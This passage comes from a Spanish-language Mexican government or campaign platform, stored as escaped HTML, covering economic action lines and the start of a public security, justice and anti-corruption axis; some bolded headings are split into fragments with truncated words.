producci\u00f3n, al tiempo que adoptamos medidas para comenzar la transici\u00f3n hacia una econom\u00eda baja en carbono como la sustituci\u00f3n de insumos en la producci\u00f3n de electricidad, la subasta de energ\u00edas limpias y la emisi\u00f3n de certificados de carbono.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La reforma a las telecomunicaciones ha introducido mayor competencia al sector y se ha traducido en beneficios concretos para la poblaci\u00f3n en t\u00e9rminos de acceso a internet y a la telefon\u00eda m\u00f3vil, as\u00ed como una reducci\u00f3n sostenida de los precios de estos servicios. Con la red compartida, lograremos ampliar la cobertura de internet de alta velocidad al 92% de la poblaci\u00f3n. De la misma manera, la reforma del sector financiero ha incrementado la competencia, lo cual ha aumentado el acceso al cr\u00e9dito a precios m\u00e1s bajos.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Para democratizar los beneficios del crecimiento econ\u00f3mico, se impuls\u00f3 la formalizaci\u00f3n del empleo, la inclusi\u00f3n financiera y el acceso al cr\u00e9dito productivo, lo mismo en el campo como entre las y los j\u00f3venes. En atenci\u00f3n a las disparidades regionales, se crearon las Zonas Econ\u00f3micas Especiales, que promover\u00e1n el desarrollo del Sur-Sureste.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Estas reformas han permitido atraer montos hist\u00f3ricos de inversi\u00f3n extranjera directa, mantener el mayor crecimiento econ\u00f3mico en lo que va del siglo y crear casi 3.5 millones de nuevos empleos, en la econom\u00eda formal y con mejores salarios, que han permitido mejorar el nivel de vida de las familias mexicanas.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Sin embargo, necesitamos transitar hacia mayores niveles de productividad y desarrollo para todos los mexicanos. Necesitamos crear nuevas oportunidades de negocios, adem\u00e1s de atraer e impulsar los sectores econ\u00f3micos del futuro. Los trabajadores deben contar con un salario que les permita acceso no s\u00f3lo a lo m\u00ednimo sino a lo justo, al igual que un horizonte de seguridad y respeto en su retiro con una pensi\u00f3n digna.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Para ello, debemos preservar los logros hist\u00f3ricos alcanzados y profundizar en las transformaciones iniciadas, al mismo tiempo debemos proteger el patrimonio y el empleo de las familias con propuestas responsables que brinden certeza a los emprendedores y actores econ\u00f3micos para detonar m\u00e1s oportunidades de negocio, la actividad industrial y el crecimiento de la productividad.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 De la misma forma en que la estabilidad alcanzada a trav\u00e9s del buen manejo de las finanzas p\u00fablicas, de la independencia del Banco de M\u00e9xico y de una regulaci\u00f3n financiera adecuada son prerrequisitos para el crecimiento econ\u00f3mico, la seguridad jur\u00eddica y el estado de derecho son esenciales para tener mayores niveles de ahorro, financiamiento e inversi\u00f3n en la econom\u00eda. La certidumbre y seguridad sobre la propiedad son esenciales para que las familias est\u00e9n dispuestas a ahorrar, y que ese ahorro se destine al mejoramiento de la tierra, a la adquisici\u00f3n de maquinaria y equipo, a la construcci\u00f3n de f\u00e1bricas e infraestructura, a la mejora de procesos y al desarrollo de nuevos conocimientos.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Para fortalecer la competitividad, la sana competencia sin monopolios u oligopolios, el crecimiento econ\u00f3mico sin desigualdades y el empleo en las diversas regiones del pa\u00eds debemos generar un sistema de planeaci\u00f3n que detone c\u00edrculos virtuosos de medios productivos. Nuestra planta productiva, nuestros trabajadores y empresarios deben estar mejor preparados para poder competir en mundo globalizado y as\u00ed no s\u00f3lo conservar el mercado interno sino tambi\u00e9n conquistar m\u00e1s mercados en el exterior.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 El crecimiento del futuro tiene que ser sostenido pero tambi\u00e9n ser incluyente. As\u00ed, a nuestra necesidad hist\u00f3rica de democratizar la productividad y expandir las oportunidades laborales, se agregan los retos de la siguiente generaci\u00f3n, de proteger nuestros recursos naturales y al mismo tiempo asegurar el desarrollo de quienes m\u00e1s lo necesitan.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Un proyecto de desarrollo basado en la productividad, la inclusi\u00f3n y la sana competencia nos permitir\u00e1 aprovechar nuestra gran diversidad en recursos naturales, la fuerza hist\u00f3rica de nuestras trabajadoras y trabajadores, y la inversi\u00f3n acumulada en capital. S\u00f3lo as\u00ed podremos consolidarnos como una econom\u00eda fuerte en la que las familias mexicanas cuenten con lo que necesitan y puedan desarrollar su talento en cualquier sector que les interese.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>L\u00edneas de acci\u00f3n<\/strong><\/p>\n<ol>\n<li><strong>Preservar la estabilidad macroecon\u00f3mica.<\/strong> La econom\u00eda mundial est\u00e1 cada vez m\u00e1s integrada y por tanto es fundamental conservar los avances hist\u00f3ricos que hemos logrado. Lo que m\u00e1s ha afectado a las familias en situaci\u00f3n de pobreza y a las familias trabajadoras de nuestro pa\u00eds ha sido la inflaci\u00f3n, la inestabilidad cambiaria y la falta de confianza en las finanzas p\u00fablicas. Es por eso que debemos de trabajar por continuar siendo un referente de estabilidad y de gasto p\u00fablico m\u00e1s equilibrado, buscando aterrizar estos logros en la econom\u00eda familiar.<\/li>\n<li><strong>Mantener una econom\u00eda abierta y din\u00e1mica que promueva la inversi\u00f3n, el comercio y el empleo.<\/strong> Millones de familias mexicanas viven de trabajos relacionados con los bienes y servicios que se exportan al resto del mundo gracias a que nos hemos convertido en un destino competitivo para las inversiones. En ese sentido, debemos enfrentar los desaf\u00edos de un contexto internacional cambiante y proteger nuestros intereses en Am\u00e9rica del Norte, al mismo tiempo que ampliamos nuestros v\u00ednculos econ\u00f3micos con otros pa\u00edses emergentes, particularmente en Asia y Am\u00e9rica Latina. De manera m\u00e1s espec\u00edfica, debemos apoyar a nuestras empresas para identificar oportunidades de negocio en nuevos mercados.<\/li>\n<li><strong>Continuar promoviendo la competencia para beneficiar la econom\u00eda familiar de los mexicanos.<\/strong> Cuando hay pocos proveedores de un bien o servicio, es probable que los precios que se pagan sean m\u00e1s altos de los que podr\u00edan estar disponibles. Por lo tanto, la diversidad de alternativas para los consumidores es una de las formas como se logra que la poblaci\u00f3n obtenga m\u00e1s por su dinero. En ese sentido, debemos seguir fomentando la competencia econ\u00f3mica en todos los sectores, como el de las telecomunicaciones, la banca o la energ\u00eda para que m\u00e1s mexicanos tengan acceso a mejores bienes y servicios a precios m\u00e1s bajos.<\/li>\n<li><strong>Promover el desarrollo regional para reducir desigualdades.<\/strong> Hasta que no logremos la reducci\u00f3n de las desigualdades entre regiones, nuestro pa\u00eds no estar\u00e1 aprovechando todo su potencial. Por ello, debemos impulsar los sectores productivos con ventajas competitivas por las condiciones y recursos disponibles en cada regi\u00f3n para detonar el crecimiento econ\u00f3mico, el desarrollo y la creaci\u00f3n de empleo. De manera general, todos los esfuerzos que apuntalan el desarrollo deben atender prioritariamente las regiones m\u00e1s rezagadas del pa\u00eds, como es el caso en las reci\u00e9n creadas Zonas Econ\u00f3micas Especiales. Todo esto implica necesariamente una planeaci\u00f3n conjunta y coordinaci\u00f3n estrecha entre sectores y \u00f3rdenes de gobierno, as\u00ed como una alta participaci\u00f3n incluyente de los sectores productivo y social.<\/li>\n<li><strong>Un ordenamiento territorial que promueva el desarrollo de manera sostenible. <\/strong>Debemos fortalecer la pol\u00edtica de desarrollo urbano y ordenamiento territorial con una \u00f3ptica regional de equidad y sostenibilidad. Es necesario armonizar las necesidades habitacionales, recreativas, comerciales e industriales de cada regi\u00f3n, con la conservaci\u00f3n de nuestros recursos naturales y del medio ambiente. Ello requiere un gran esfuerzo de coordinaci\u00f3n para alinear los esfuerzos de los diferentes sectores y \u00f3rdenes de gobierno.<\/li>\n<li><strong>Ampliar el acceso a vivienda para todos. <\/strong>Contar con una vivienda digna es un derecho social b\u00e1sico que adem\u00e1s de brindar un resguardo fundamental, mejora la calidad de vida de las familias al cubrir sus necesidades b\u00e1sicas de protecci\u00f3n. Por ello, debemos fortalecer las hipotecas de los afiliados al INFONAVIT y FOVISSSTE, mejorar esquemas de financiamiento a los no afiliados y diversificar las opciones de los esquemas de vivienda en renta y autoconstrucci\u00f3n social. Un desarrollo urbano ordenado nos permitir\u00e1 tener ciudades competitivas y sostenibles, as\u00ed como gozar de mayor riqueza patrimonial y bienestar social.<\/li>\n<li><strong>Ampliar la disponibilidad de energ\u00eda impulsando las fuentes limpias.<\/strong> Todas las industrias utilizan alg\u00fan tipo de energ\u00eda como insumo y, por tanto, en la medida en la que haya m\u00e1s energ\u00eda disponible y a menor costo, quienes la utilizan podr\u00e1n crecer mucho m\u00e1s r\u00e1pido. La energ\u00eda asequible y no contaminante es fundamental para construir ciudades y comunidades sostenibles en las que haya industria, innovaci\u00f3n e infraestructura. M\u00e9xico necesita energ\u00edas limpias, y vamos a asegurar que las tenga.<\/li>\n<li><strong>Mejorar la infraestructura para aumentar la productividad de nuestra econom\u00eda y el bienestar de los mexicanos. <\/strong>El desarrollo de la infraestructura es uno de los factores m\u00e1s importantes para detonar la productividad, el intercambio y el acceso generalizado a productos y servicios y, de manera m\u00e1s general, el desarrollo de nuestro pa\u00eds y el bienestar de las familias mexicanas. Por ello, debemos buscar nuevos esquemas de financiamiento y presupuestaci\u00f3n para incrementar la inversi\u00f3n en la infraestructura b\u00e1sica y de servicios en todos los sectores (hidr\u00e1ulico, carretero, portuario, aeroportuario, transporte, telecomunicaciones, agricultura, turismo, educaci\u00f3n, salud etc.) garantizando transparencia absoluta y rendici\u00f3n de cuentas en el uso de recursos p\u00fablicos.<\/li>\n<li><strong>Alcanzar el acceso universal a internet.<\/strong> El acceso a Internet es un factor indispensable para el desarrollo y la participaci\u00f3n plena en el mundo globalizado y la sociedad de conocimiento del siglo XXI. Por ello es fundamental impulsar la Red Compartida que podr\u00eda facilitar que m\u00e1s de 100 millones de mexicanos se conecten a la red. Internet al alcance de todos es nuestro objetivo, porque representa una oportunidad in\u00e9dita para que la inclusi\u00f3n digital se traduzca en mayores oportunidades de comunicaci\u00f3n, educaci\u00f3n y empleo.<\/li>\n<li><strong>Fomentar el desarrollo de industrias de mediana y alta tecnolog\u00edas.<\/strong> El cambio tecnol\u00f3gico que estamos enfrentando representa retos importantes para las empresas y los trabajadores, pero tambi\u00e9n grandes oportunidades. De manera espec\u00edfica, industrias de alta tecnolog\u00eda tienen un potencial de crecimiento superior a otros sectores y cada vez crear\u00e1n m\u00e1s empleos bien remunerados. Para aprovechar las oportunidades en \u00e1reas como la cibern\u00e9tica, biotecnolog\u00eda, tecnolog\u00edas de la informaci\u00f3n, nanotecnolog\u00eda o energ\u00edas alternativas, es necesario un esfuerzo coordinado del estado mexicano y de los sectores productivo y social para desarrollar nuestro capital humano, infraestructura e innovaci\u00f3n. M\u00e9xico tiene todo para lograrlo y debemos buscar ese liderazgo en innovaci\u00f3n y desarrollo tecnol\u00f3gico de punta.<\/li>\n<li><strong>Apoyar al campo y detonar nuestro potencial agroalimentario de manera sustentable.<\/strong> El campo ha sido motivo de orgullo para nuestro pa\u00eds y debe seguir si\u00e9ndolo. Debemos rescatar nuestro campo, repoblar nuestros bosques, cuidar nuestros recursos pesqueros y reducir la dependencia agroalimentaria. Somos un pa\u00eds megadiverso con un gran potencial para aprovechar de manera responsable nuestros recursos. Por ello, debe seguir siendo prioritario el apoyo al campo, en particular de los peque\u00f1os productores que m\u00e1s lo necesitan, para detonar su productividad, a trav\u00e9s de pol\u00edticas como la investigaci\u00f3n cient\u00edfica, la modernizaci\u00f3n tecnol\u00f3gica, un mayor acceso al cr\u00e9dito el apoyo en la comercializaci\u00f3n y la tecnificaci\u00f3n responsable del riego. Al mismo tiempo, debemos tener en cuenta las dimensiones sociales, culturales y de g\u00e9nero del campo para mejorar la calidad de vida de todas las personas en las zonas rurales. De manera complementaria, debemos buscar esquemas creativos para reducir el desperdicio de alimentos y garantizar la solvencia alimentaria de todas las familias mexicanas.<\/li>\n<li><strong>Continuar con la expansi\u00f3n de nuestro sector tur\u00edstico como motor del desarrollo. <\/strong>El turismo es uno de los sectores m\u00e1s din\u00e1micos. Para apoyar su crecimiento y la generaci\u00f3n de empleos de calidad, debemos buscar nuevas oportunidades de negocio con un enfoque regional y local, respetuoso del entorno natural y cultural, con la participaci\u00f3n coordinada de los tres \u00f3rdenes de gobierno. Es necesario fortalecer la promoci\u00f3n tur\u00edstica de nuestro patrimonio cultural y natural, as\u00ed como invertir en la profesionalizaci\u00f3n de sus trabajadores y la infraestructura de nuestros destinos tur\u00edsticos. Al mismo tiempo, es indispensable garantizar la seguridad p\u00fablica para que el sector pueda seguir creciendo.<\/li>\n<li><strong>Potenciar las oportunidades de los j\u00f3venes para aprovechar el bono demogr\u00e1fico.<\/strong> Como pa\u00eds, tenemos que ser capaces de aprovechar el talento de nuestros j\u00f3venes e incorporarlos a la vida productiva. Esto requiere no s\u00f3lo una educaci\u00f3n de calidad, sino de una estrecha vinculaci\u00f3n entre la educaci\u00f3n y el sector productivo para mejorar la pertinencia de su formaci\u00f3n. De la misma manera, debemos promover su capacidad creativa y de innovaci\u00f3n mediante esquemas de apoyo, orientaci\u00f3n y financiamiento a los emprendedores.<\/li>\n<li><strong>Apoyar las peque\u00f1as y medianas empresas y fomentar la creaci\u00f3n de empresas.<\/strong> La gran mayor\u00eda de las familias mexicanas, a lo largo y ancho del pa\u00eds, viven del trabajo en empresas peque\u00f1as y medianas de diversos sectores. Por ello, debe ser prioritario detonar su productividad promoviendo su formalizaci\u00f3n, mejorar su acceso al cr\u00e9dito, ayudar a la adopci\u00f3n de nuevas t\u00e9cnicas, modernizar sus procesos y, de manera m\u00e1s general, apoyar su crecimiento sostenible. En paralelo, debemos fomentar el esp\u00edritu emprendedor para incentivar la creaci\u00f3n de nuevas empresas que, a su vez, generen empleo y sean fuente de innovaci\u00f3n. Para ello, es necesario ofrecer asesor\u00eda, orientaci\u00f3n y capacitaci\u00f3n, as\u00ed como apoyos econ\u00f3micos y materiales a emprendedores de manera incluyente para impulsar proyectos rentables.<\/li>\n<li><strong>Impulsar la econom\u00eda social.<\/strong> Las iniciativas comunitarias y sociales est\u00e1n conformando ya un cuarto sector de la econom\u00eda formal, apoyado en herramientas innovadoras y formas de producci\u00f3n sustentable y comercio solidario y responsable. Debemos implementar novedosos mecanismos para apoyarlas, cuidando que \u00e9stos sean incluyentes y beneficien a los distintos sectores sociales.<\/li>\n<li><strong>Mejora regulatoria y simplificaci\u00f3n de tr\u00e1mites.<\/strong> La regulaci\u00f3n no debe ser un obst\u00e1culo a la inversi\u00f3n y la creaci\u00f3n de empleo. Por ello, debemos desplegar una pol\u00edtica continua de simplificaci\u00f3n de tr\u00e1mites y mejora de las regulaciones que incentiven la inversi\u00f3n, la apertura de negocios y la actividad econ\u00f3mica en general. Al mismo tiempo, necesitamos garantizar la protecci\u00f3n del medio ambiente y los derechos de los trabajadores, as\u00ed como la protecci\u00f3n al consumidor. Debemos tener presente que la excesiva burocracia ha contribuido mucho a entorpecer funciones de gobierno.<\/li>\n<li><strong>Transitar hacia formas de producci\u00f3n y consumo responsables que incorporen la gesti\u00f3n eficiente de recursos a lo largo del tiempo.<\/strong> Los retos de la sostenibilidad implican no s\u00f3lo cuidar el medio ambiente, sino repensar en todas las formas en que nos relacionamos con el sector productivo y con el consumo de bienes y servicios. Tenemos que aprender a producir y consumir en un entorno completamente diferente al que estamos acostumbrados, con el fin de reducir la generaci\u00f3n de residuos, disminuir el desperdicio de productos perecederos y no perecederos y garantizar, de esa forma, que nuestros recursos duren y sigan sirviendo a la siguiente generaci\u00f3n.<\/li>\n<\/ol>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tEje 2: Seguridad p\u00fablica eficaz y justicia eficiente para todos\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La situaci\u00f3n de seguridad en nuestro pa\u00eds se ha visto afectada de forma profunda por cambios en la din\u00e1mica del crimen organizado internacional. Cuando a mediados de la d\u00e9cada pasada se cerraron las rutas del Caribe mediante las cuales se traficaban estupefacientes desde Am\u00e9rica del Sur a la costa este de los Estados Unidos, se deton\u00f3 un proceso de infiltraci\u00f3n del territorio nacional con objeto de establecer otros canales de entrada a ese mercado. Como parte del mismo proceso, comenzaron a ingresar armas a nuestro pa\u00eds, principalmente provenientes de nuestro vecino del norte.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 M\u00e1s recientemente, los cambios en patrones de consumo hacia opi\u00e1ceos y metanfetaminas han incrementado la demanda por estupefacientes que pueden producirse en el pa\u00eds o canalizarse a trav\u00e9s de \u00e9l. El fortalecimiento del crimen organizado le ha permitido su expansi\u00f3n por el territorio nacional y el surgimiento de nuevas actividades delictivas, como el robo de combustible, as\u00ed como una mayor incidencia de cr\u00edmenes de alto impacto, como el secuestro y la extorsi\u00f3n. La violencia resultante ha lastimado profundamente el clima de convivencia en el pa\u00eds y la tranquilidad de las familias mexicanas.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 En el combate frontal a la delincuencia que los mexicanos hemos dado en a\u00f1os recientes, se ha mejorado la coordinaci\u00f3n entre dependencias y \u00f3rdenes de gobierno, al mismo tiempo que se ha fortalecido la infraestructura para recopilar y procesar inteligencia. Esta coordinaci\u00f3n e inteligencia renovadas permitieron neutralizar a 107 de los 122 objetivos prioritarios de la delincuencia organizada, en su mayor\u00eda sin un solo disparo. Adem\u00e1s, para fortalecer la seguridad ciudadana, se puso en marcha el n\u00famero de emergencias 911 y un programa integral para prevenir, atender, sancionar y erradicar la violencia contra las mujeres.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 A pesar de estos avances, es necesario reconocer que el pa\u00eds enfrenta graves problemas de violencia, corrupci\u00f3n, inseguridad y acceso a la justicia. As\u00ed como ha evolucionado el entorno bajo el cual opera el crimen organizado, tambi\u00e9n tienen que cambiar nuestras estrategias de combate a la criminalidad. Una de las demandas m\u00e1s sentidas de la ciudadan\u00eda es que el Estado garantice su integridad f\u00edsica y su patrimonio, y de manera m\u00e1s general sus derechos humanos y libertades ciudadanas. Esta demanda nos obliga y compromete a replantear las estrategias y pol\u00edticas p\u00fablicas en materia de seguridad y mejorar los sistemas de prevenci\u00f3n, procuraci\u00f3n y administraci\u00f3n de justicia.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Una estrategia integral en materia de seguridad y justicia debe restar recursos financieros, fuerza y presencia a las organizaciones criminales. Debemos prevenir que los recursos vinculados al crimen organizado encuentren uso y tengan cabida dentro de nuestra econom\u00eda. Tenemos que incautar las armas y cerrar los canales de distribuci\u00f3n y venta de las mismas y, de manera destacada, aquellas que son de uso exclusivo de las fuerzas armadas.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Tambi\u00e9n necesitamos continuar fortaleciendo nuestras corporaciones policiacas. Es indispensable contar con polic\u00edas especializadas y con autonom\u00eda t\u00e9cnica, que sean capaces de llevar a cabo investigaciones contextuales orientadas a combatir la violencia en contra de las personas.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La problem\u00e1tica del crimen organizado tiene una dimensi\u00f3n internacional significativa. Para poder combatirlo de forma efectiva, adem\u00e1s de detener el flujo de recursos y de armas, necesitamos robustecer nuestra cooperaci\u00f3n con las autoridades de otros pa\u00edses.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Por otra parte, la impartici\u00f3n de justicia sigue siendo un problema de seguridad p\u00fablica, debido a la desconfianza de la sociedad hacia las instituciones y al aparato de justicia. Por ello deber\u00e1 perfeccionarse el marco legal e institucional para construir un sistema de justicia eficiente, moderno, \u00e1gil y transparente, que otorgue certeza y seguridad jur\u00eddica plenas y garantice el resarcimiento y reparaci\u00f3n del da\u00f1o a las v\u00edctimas del delito. El nuevo sistema debe contar con jueces ocupados plenamente de su funci\u00f3n jurisdiccional y no en funciones administrativas, as\u00ed como tribunales de justicia en los que ya no exista rezago judicial, la atenci\u00f3n al p\u00fablico sea de calidad y los litigios se resuelvan \u00e1gilmente. Adem\u00e1s, el nuevo sistema de justicia debe permitirnos conocer la verdad, con todas las repercusiones para los culpables y libertad y protecci\u00f3n para los inocentes.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 El establecimiento del Sistema de Justicia Penal Acusatoria implica un nuevo paradigma en la relaci\u00f3n con el ciudadano y fue un avance importante en la direcci\u00f3n correcta. No obstante, necesitamos seguir refinando el sistema para que funcione con mayor eficacia, adem\u00e1s de realizar una reingenier\u00eda en otros aspectos. Los juicios orales requieren una mayor preparaci\u00f3n por parte de los investigadores, peritos y fiscales, lo cual tenemos que robustecer en todo el pa\u00eds. Nuestro modelo de procuraci\u00f3n de justicia debe permitir el esclarecimiento de los hechos, pues s\u00f3lo as\u00ed es posible proteger al inocente, castigar al culpable y reparar los da\u00f1os causados por el delito.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Todos los mexicanos somos iguales ante la ley y el acceso a la justicia no debe depender de d\u00f3nde se ubique una persona, ni de sus creencias, ni de sus condiciones socioecon\u00f3micas o su g\u00e9nero. Con respecto al marco institucional, debemos homologar la impartici\u00f3n de justicia en todos los estados del pa\u00eds. En un contexto de bandas criminales que operan y se mueven con facilidad entre jurisdicciones, resulta fundamental contar una coordinaci\u00f3n efectiva entre autoridades, as\u00ed como una tipificaci\u00f3n uniforme del delito, cuando menos en aquellos que m\u00e1s afectan la libertad y el bienestar de las personas.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Un M\u00e9xico con seguridad y justicia implica que no haya impunidad. Tenemos que fortalecer una cultura de la legalidad en la cual la ley sea respetada por todos, sin excepci\u00f3n, y quienes cometan un delito sean castigados. En este sentido, los ciudadanos exigen que se abata la corrupci\u00f3n y erradique la impunidad, promoviendo la transparencia y la rendici\u00f3n de cuentas. Por eso, debe haber nula tolerancia a la corrupci\u00f3n. Es necesario recuperar la confianza de la ciudadan\u00eda en un servicio p\u00fablico digno, transparente y honorable, que se cumpla con lo que la ley demanda a todos los ciudadanos, sin distinci\u00f3n.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 En corresponsabilidad con la sociedad civil y los tres poderes de la Uni\u00f3n, en los \u00faltimos a\u00f1os se han cimentado dos pilares para consolidar el Estado de Derecho: el Sistema Nacional de Transparencia y el Sistema Nacional Anticorrupci\u00f3n. Estas instituciones permitir\u00e1n promover la rendici\u00f3n de cuentas, evitar la impunidad y llevar a los culpables a la justicia. Esto requerir\u00e1 de medidas procesales, normativas y de fiscalizaci\u00f3n orientadas primordialmente a inhibir y castigar con las mayores penas y el m\u00e1ximo rigor todo camino que propicie la obtenci\u00f3n de patrimonio il\u00edcito por parte de quien ostente cargos p\u00fablicos. De igual forma, debe castigarse toda ganancia que tanto funcionarios como particulares puedan generar por v\u00ednculos que trastoquen el marco normativo a costa del erario.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Ser\u00e1 necesario construir, dentro de las instituciones p\u00fablicas, esquemas de control interno que sistematicen la informaci\u00f3n fiscal, financiera y patrimonial de los servidores p\u00fablicos, a fin de detectar conductas fuera de la ley. Como parte de los esfuerzos para inhibir la obtenci\u00f3n il\u00edcita de recursos en el ejercicio p\u00fablico, es fundamental reducir el uso del efectivo. Por ello, se promover\u00e1 la reincorporaci\u00f3n de la banca de desarrollo o comercial en programas gubernamentales de beneficio social. De la misma manera, el uso de la tecnolog\u00eda puede coadyuvar a la generaci\u00f3n de mecanismos expeditos de denuncia ciudadana, garantizando la protecci\u00f3n de los denunciantes, ante toda pretensi\u00f3n de servidores p\u00fablicos de exigir d\u00e1diva o cuota alguna fuera de la ley.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 En la inhibici\u00f3n de actos de corrupci\u00f3n con particulares, debemos dise\u00f1ar esquemas de contrataciones p\u00fablicas consolidados que respondan de manera uniforme e imparcial a las necesidades de obra, compras o servicios de gobiernos, poderes e instituciones. En todos los casos, los procesos de contrataci\u00f3n p\u00fablica tienen que someterse a criterios de gobierno abierto. Es decir que deben ser transparentes de cara a toda la ciudadan\u00eda desde la planeaci\u00f3n, el concurso, la designaci\u00f3n, la ejecuci\u00f3n y la evaluaci\u00f3n de los resultados de los contratos. Ello implicar\u00e1 consolidar auditor\u00edas y propiciar mejoras continuas en el uso del erario, as\u00ed como en la transparencia de la informaci\u00f3n.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 De manera paralela al combate a la corrupci\u00f3n, debemos asegurar la dignificaci\u00f3n y reconocimiento al servicio p\u00fablico. As\u00ed como tenemos que acabar con la impunidad y castigar a funcionarios corruptos, es importante reconocer a los trabajadores del estado que se desempe\u00f1an con eficiencia y honradez. Para lograrlo, necesitamos continuar en la institucionalizaci\u00f3n de mejores pr\u00e1cticas y la profesionalizaci\u00f3n de nuestros funcionarios p\u00fablicos. Asimismo, es fundamental avanzar en la simplificaci\u00f3n administrativa para cerrar espacios a la corrupci\u00f3n.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La seguridad y la justicia son fundamental para impulsar el desarrollo sostenible que anhelamos como naci\u00f3n. Por eso, seguiremos impulsando el fortalecimiento de las capacidades institucionales en materia de seguridad, justicia y combate a la corrupci\u00f3n, con un enfoque garantista, inclusivo y centrado en el ciudadano.<\/p>\n<p><strong>L\u00edneas de acci\u00f3n:<\/strong><\/p>\n<ol>\n<li><strong>Aplicar <\/strong><strong>una<\/strong><strong> estrategia <\/strong><strong>int<\/strong><strong>e<\/strong><strong>gr<\/strong><strong>a<\/strong><strong>l,<\/strong> <strong>multidi<\/strong><strong>me<\/strong><strong>n<\/strong><strong>s<\/strong><strong>ion<\/strong><strong>a<\/strong><strong>l<\/strong> <strong>e<\/strong> <strong>int<\/strong><strong>er<\/strong><strong>in<\/strong><strong>s<\/strong><strong>titu<\/strong><strong>ci<\/strong><strong>on<\/strong><strong>a<\/strong><strong>l<\/strong><strong> de seguridad y justicia para <\/strong><strong>reducir la i<\/strong><strong>nse<\/strong><strong>gurid<\/strong><strong>ad<\/strong><strong>,<\/strong><strong> v<\/strong><strong>iol<\/strong><strong>e<\/strong><strong>n<\/strong><strong>c<\/strong><strong>ia<\/strong> <strong>e impuni<\/strong><strong>da<\/strong> Debemos cuidar todo el proceso, desde la prevenci\u00f3n del delito, el procedimiento penal, la investigaci\u00f3n, la persecuci\u00f3n del delito y la impartici\u00f3n de justicia, incluyendo la atenci\u00f3n a las v\u00edctimas y la ejecuci\u00f3n de sanciones. Las pol\u00edticas p\u00fablicas de seguridad y justicia tienen que estar centradas en las necesidades de las personas y las familias mexicanas.<\/li>\n<li><strong>Profesionalizar y dignificar la labor de los profesionales de seguridad y procuraci\u00f3n de justicia.<\/strong> Tenemos que desarrollar esfuerzos importantes en una amplia gama de temas que van desde la capacitaci\u00f3n en temas fundamentales como los derechos humanos y el nuevo sistema penal, hasta el equipamiento, robustecimiento de los controles de confianza y la dignificaci\u00f3n de la labor policial. Ello implica desde luego mayores condiciones laborales y una remuneraci\u00f3n m\u00e1s atractivas, mejores mecanismos de reclutamiento, promoci\u00f3n y permanencia, as\u00ed como beneficios y prestaciones en funci\u00f3n del desempe\u00f1o y la trayectoria.<\/li>\n<li><strong>Fortalecer las corporaciones polic\u00edacas locales.<\/strong> Debemos impulsar un modelo policial fortalecido y estandarizado en los estados, en cuanto a capacitaci\u00f3n y recursos, para hacer frente con m\u00e1s eficacia a la delincuencia, que permita vigorizar la capacidad de respuesta de las autoridades ante el crimen, erradicar la violencia y abatir los \u00edndices de inseguridad.<\/li>\n<li><strong>Robustecer los <\/strong><strong>sis<\/strong><strong>t<\/strong><strong>e<\/strong><strong>m<\/strong><strong>a<\/strong><strong>s de int<\/strong><strong>e<\/strong><strong>lig<\/strong><strong>e<\/strong><strong>n<\/strong> Necesitamos mayor infraestructura, equipamiento y capacitaci\u00f3n en el \u00e1mbito de la inteligencia, en todos los \u00f3rdenes de gobierno. S\u00f3lo as\u00ed podremos dar sustento a decisiones m\u00e1s efectivas en el combate a la delincuencia y el crimen organizado y limitar el uso de la fuerza de que dispone el Estado.<\/li>\n<li><strong>Centrar<\/strong><strong> e<\/strong><strong>l<\/strong><strong> c<\/strong><strong>omb<\/strong><strong>ate <\/strong><strong>al<\/strong><strong> c<\/strong><strong>ri<\/strong><strong>me<\/strong><strong>n<\/strong> <strong>org<\/strong><strong>a<\/strong><strong>niz<\/strong><strong>a<\/strong><strong>do en el desmantelamiento <\/strong><strong>de sus estructuras <\/strong><strong>fin<\/strong><strong>a<\/strong><strong>n<\/strong><strong>c<\/strong><strong>i<\/strong><strong>era<\/strong> con medidas como la modernizaci\u00f3n integral de las \u00e1reas de Inteligencia financiera de la Secretar\u00eda de Hacienda y Cr\u00e9dito P\u00fablico, la aplicaci\u00f3n y cumplimiento de las disposiciones internacionales sobre lavado de dinero y un mayor control sobre las aduanas del pa\u00eds y modernizar y fortalecer los cuerpos policiacos con jurisdicci\u00f3n en las zonas fronterizas.<\/li>\n<li><strong>Articular los esfuerzos de los distintos \u00f3rdenes de gobierno para reducir los delitos de mayor impacto.<\/strong> Las 